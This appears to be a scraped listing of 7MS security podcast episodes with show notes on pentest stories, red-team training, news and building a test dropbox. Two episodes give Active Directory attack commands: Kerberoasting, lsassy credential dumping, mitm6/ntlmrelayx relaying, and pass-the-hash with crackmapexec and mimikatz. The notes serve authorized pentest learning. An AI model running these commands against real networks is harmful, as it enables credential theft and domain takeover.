Bob and Alice Learn Application Security - Tanya's book, available on Amazon
Women of Security (WoSEC)
We Hack Purple Podcast - weekly podcast with a diverse range of guests from all walks of infosec life
We Hack Purple Community - "a Canadian company dedicated to helping anyone and everyone create secure software."
Tanya's music on Spotify
#CyberMentoringMonday - a hashtag that Tanya and other security professionals monitor to help people connect with cyber mentors
InsiderPHd - has a safe space for bug bounty hunters to learn and collaborate
WeAreHackerz - "You are welcome to join WeAreHackerz if you identify as a person of a marginalized gender, including but not limited to non-binary individuals, women (trans and cis), trans men, genderqueer, etc. We welcome members across all nationalities, races, religions, ages, or other characteristics that make each of us unique."
Security in Color
-
7MS #457: Tales of Internal Network Pentest Pwnage - Part 25
4 maart 2021 · 32 min
Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence: Lees meer
Get a cmd.exe spun up in the context of your AD user account:
runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"
Then get some important info in PowerView:
Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!
Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!
Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!
Once you know where you have local admin access, lsassy is your friend:
lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server
Did you get an admin's NTLM hash from this dump? Then do this:
crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED
(Pwn3d!) FTW!
-
7MS #456: Certified Red Team Professional - Part 4
25 februari 2021 · 57 min
Hello friends! Today, Joe (Gh0sthax) and I complete our series on CRTP - Certified Red Team Professional - a really awesome pentesting training and exam based squarely on Microsoft tools and tradecraft. Specifically, Joe and I talk about: Lees meer
We don't think the training/exam is for beginners, despite how its advertised
Both the lab PDF and PowerPoint have their own quirks - which may ultimately be teaching us not to be copy-and-paste jockeys, and instead build our own study guides and cheat sheets
Don't let the training give you the idea that most pentests have a super fast escalation path to DA (ok yes sometimes they do, but usually we spend a LOT of hours working on escalation!)
Watch the walkthrough videos. We repeat: WATCH THE WALKTHROUGH VIDEOS!
Although not required, we highly recommend capturing all the flags laid out for you in the lab environment
Know how to privesc - using multiple tools/methods
It would be to your advantage to understand how to view/manipulate Active directory information in multiple ways
You start the exam with no tools. So how will you be ready to upload/download tools into the exam environment so you make the most of your exam time?
Tool X might give you wrong results - or none at all - in the lab. Do you have a backup tool Y and Z that can serve the same purpose?
You want to be very good at Kerberos ticket crafting!
Know all the mimikatz commands and switches and when to apply them
-
7MS #455: Tales of Internal Network Pentest Pwnage - Part 24
19 februari 2021 · 52 min
Hey everybody! Sorry that we're late again with today's episode, but I got COVID shot #2 and it kicked my behind BIG TIME today. But I'm vertical today and back amongst the living and thrilled to be sharing with you another tale of pentest pwnage! Yeah! This might be my favorite tale yet because: Lees meer
I got to use some of my new CRTP skills!
Make sure on your pentests that you're looking for "roastable" users. Harmj0y has a great article on this, but the TLDR is make sure you run PowerView with the -PreauthNotRequired flag to hunt for these users:
Get-DomainUser -PreauthNotRequired
Check for misconfigured LAPS installs with Get-LAPSPasswords!
The combination of mitm6.py -i eth0 -d company.local --no-ra --ignore-nofqdn +
ntlmrelayx -t ldaps://domain.controller.ip.address -wh attacker-wpad --delegate-access is reeeeeealllllyyyyyyy awesome and effective!When you are doing the --delegate-access trick, don't ignore (like I did for years) if you get administrative impersonation access on a regular workstation. You can still abuse it by impersonating an admin, run secretsdump or pilfer the machine for additional goodies!
SharpShares is a cool way to find shares your account has access to.
I didn't get to use it on this engagement but Chisel looks to be a rad way to tunnel information
Once you've dumped all the domain hashes with secretsdump, don't forget (like me) that you can do some nice Mimikatz'ing to leverage those hashes! For example:
sekurlsa::pth /user:administrator /ntlm:hash-of-the-administrator-user /domain:yourdomain.com
Do that and bam! a new command prompt opens with administrator privileges! Keep in mind though, if you do a whoami you will still be SOMEWORKSTATION\joeblo, but you can do something like psexec \\VICTIM-SERVER cmd.exe and then do a whoami and then POW! - you're running as domain admin!
Once you've got domain admin access, why not run Get-LAPSPasswords again to get all the local admin passwords across the whole enterprise? Or you can do…
-
7MS #454: Cyber News - Lets Switch to Typewriters Edition
11 februari 2021 · 51 min
Happy almost-mid-February! Today Gh0sthax cooked up some great news stories for us to chew on, including: Lees meer
Sudo bug gives root access to mass numbers of Linux systems!
What the heck is hammering with GameStop stock? - this tweet does a great job of explaining it in plain English
Solarwinds continues to be a gift that keeps on giving malware-laced gifts that people don't want
Sonicwall was hacked using zero days in its own products. After recording this news segment, Sonicwall issued an updated statement on the situation
-
7MS #453: Interview with Marcello Salvati
4 februari 2021 · 1 uur 6 min
Today's featured interview is with Marcello Salvati of Black Hills Information Security. Marcello is a.k.a. byt3bl33d3r, and known for his many contributions to the security community. We here at 7MS first became familiar with his work after using CrackMapExec on our penetration tests, and today we sat down with Marcello to discuss: Lees meer
Brian's Chris Farley moment with Marcello
Marcello's infosec origin story
CrackMapExec, how it came to be, how it was named, and what's coming in the new version of CME
Marcello's decision to create Porchetta Industries as a community to provide "support to open source infosec/hacking tool developers and helps them succeed with their own Github sponsorships." Marcello welcomes you to follow Porchetta Industries on Twitter and Discord.
What does Marcello do when he's not pentesting and coding? And does he ever get tired of pentesting and coding?
What the heck is Nim and why is Marcello so excited about OffensiveNim?
-
7MS #452: Enterprise Attacker Emulation and C2 Implant Development
28 januari 2021 · 39 min
Hey everyone! Hope you're having a great week. Today Gh0sthax and I do a brain dump and recap of a cool (and mind-exploding) course we took last week called Enterprise Attacker Emulation and C2 Implant Development. In the tangent department, we also touch a bit on: Lees meer
The Fargo TV series
Our upcoming interview with Marcello (a.k.a. byt3bl33d3r) from BHIS
This Key and Peele sketch
I just took my CRTP exam, which we've talked about a lot in the past
7MS is trying to up its pentest game by learning how to write beacons/implants. One project that's really cool in this respect is from MrUn1k0d3r
-
7MS #451: Deep Freeze
22 januari 2021 · 48 min
Today we talk about a cool product called Deep Freeze, which, as its name implies, can "freeze" your computer in a known/good/frozen state. Then you can do whatever the flip you want to the machine (install icky things, tamper with C:\windows, pack your browser full of shady plugins, and more!), and then just reboot to restore! Lees meer
Note: this is not a sponsored episode, but will probably sound like one because I really dig this product and think you might too :-)
-
7MS #450: DIY Pentest Dropbox Tips - part 4
15 januari 2021 · 56 min
Hey friends! We're continuing our series on pentest dropbox building - specifically playing off last week's episode where we started talking about automating the OS builds that go on our dropboxes. Today we'll zoom in a little closer and talk about some of the specific scripting we do to get a Windows 2019 Active Directory Domain Controller installed and updated so that it's ready to electronically punch in the face with some of your mad pentesting skills! Specifically, we talk about these awesome commands: Lees meer
tzutil /s "Central Standard Time" - this is handy to set the time zone of your server build
powercfg.exe -change -standby-timeout-ac 0 will stop your VM from falling asleep
Invoke-WebRequest "https://somesite/somefile.file" -OutFile "c:\some\path\somefile.file" is awesome for quickly downloading files you need. Couple it with Expand-Archive "C:\some\path\some.zip" "c:\path\to\where\you\want\to\extract\the\zip" to make auto-provisioning your toolkit even faster!
Don't like it that Server Manager loves to rear its dumb head upon every login? Kill the task for it with Get-ScheduledTask -TaskName ServerManager | Disable-ScheduledTask -Verbose. Byeeeeee!!!!
I love Chrome more than I love IE/Edge, so I auto install it with:
$Path = $env:TEMP; $Installer = "chrome_installer.exe"; Invoke-WebRequest "http://dl.google.com/chrome/install/375.126/chrome_installer.exe" -OutFile $Path\$Installer; Start-Process -FilePath $Path\$Installer -Args "/silent /install" -Verb RunAs -Wait; Remove-Item $Path\$Installer
Now get all the Windows updates!
Install-PackageProvider -name nuget -force Install-Module PSWindowsUpdate -force Import-Module PSWindowsUpdate Get-WindowsUpdate Install-WindowsUpdate -AcceptAll -IgnoreReboot
Then rename your machine:
Write-Host "Picking a new name for this machine...you'll need to provide your admin pw to do so" Rename-Computer -LocalCredential administrator -PassThru Write-Host "New name accepted!"
When you're ready to install Active Director…
-
7MS #449: DIY Pentest Dropbox Tips - Part 3
7 januari 2021 · 1 uur 7 min
Happy new year! This episode continues our series on DIY pentest dropboxes with a focus on automation - specifically as it relates to automating the build of Windows 10, Windows Server 2019, Kali and Ubuntu VMs. Here's the resources I talk about in more detail on today's episode that helps make the automagic happen: Lees meer
Windows VMs
This article from Windowscentral.com does a great job of walking you through building a Windows 10 unattended install. A key piece of the automation is the autounattend.xml file, which you can somewhat automatically build here, but I think you'll want to install the Windows System Image Manager to really get in the tech weeds and fully tweak that answer file. The handy AnyBurn utility will help you make ISOs out of your Windows 10 / Server 2019 customized builds.Ubuntu VMs
I set out to build a Ubuntu 18.x box because Splashtop only supports a few Linux builds. I found a freakin' sweet project called Linux unattended installation that helps you build the preseed.cfg file (kind of like the Windows equivalent of an answer file). The area of preseed.cfg I've been spending hours dorking around with is:d-i preseed/late_command string \
Under this section you can customize things to your heart's content. For example, you could automatically pull down and install all OS packages/updates and a bunch of third party utils you want:
in-target sh -c 'apt-get update'; \ in-target sh -c 'apt-get upgrade -y'; \ in-target sh -c 'apt-get install curl dnsrecon git net-tools nmap openssh-server open-vm-tools-desktop python3.8 python3-pip python-libpcap ubuntu-gnome-desktop unzip wget xsltproc -y'; \
Finally, the project provides a slick script that will wrap up your Ubuntu build plus an SSH key into a ready-to-go ISO:
build-iso.sh ~/.ssh/id_rsa.pub ~/Desktop/My-kool-kustomized-Ubuntu.iso
Awesome!
Kali VMs
There is some decent documentation on building a preseed.cfg file for Kali. But the best resource I found with some excellent prebuilt config file … -
7MS #448: Certified Red Team Professional - Part 3
30 december 2020 · 49 min
Today, Gh0sthax and I talk about week 3/4 of the CRTP - Certified Red Team Professional training, and how it's kicking our butts a bit. Key points include: Lees meer
We agree this is not a certification for folks who are new to pentesting
Don't expect to be following along "live" with the instructor during the training sessions
You'll need to do a flippin' ton of studying and practicing on your own in between the live sessions
As you follow along with the lab exercises, some things won't work - and that might be by design, but the lab manual might not give you a heads-up. In those cases, be sure to check with your classmates in the Discord channel
Problems popping shells? Hint: it might not be a problem with your tools...but with your network/firewalll config!
The more PowerShell skills you can walk into this training with, the better.
We've got to play with some tools that were new(ish) to us:
PowerUpSQL - check out these awesome cheat sheets too!
HeidiSQL
Rubeus
If you're an absolute rockstar in the pentest labs, don't think that you'll breeze right through the exam!
Some pros of this training: fast-moving, super knowledgable instructor. Outstanding content. Super value for the dollar investment - arguably the best pentest training bang for the buck. The labs themselves are quite good and realistic. You get the recordings of the live sessions after they're complete. The course covers some defense against these attacks as well - great to have the blue team perspective!
A few cons: the content might be too fast-moving. It can get easy to become "lost" and forget the objective of what each lab exercise is having you do. Lab manual doesn't necessarily match the PDF slides.
-
7MS #447: Cyber News - The End of 2020 as We Know It Edition
23 december 2020 · 59 min
Merry Christmas! Happy holidays! Please enjoy the last cyber news edition of 2020, brought to us by our good pal Gh0stHax. Stories covered include: Lees meer
You've probably heard this by now, but FireEye had a breach that was truly sophisticated. Here's a really nice plain English breakdown of the situation for folks who may not be interested in the deep technical details.
Chris Krebs, former CISA director, sues Trump campaign lawyer after death threats
CSOOnline has a nice article on 4 security trends to watch for in 2021 which we may or may not agree with!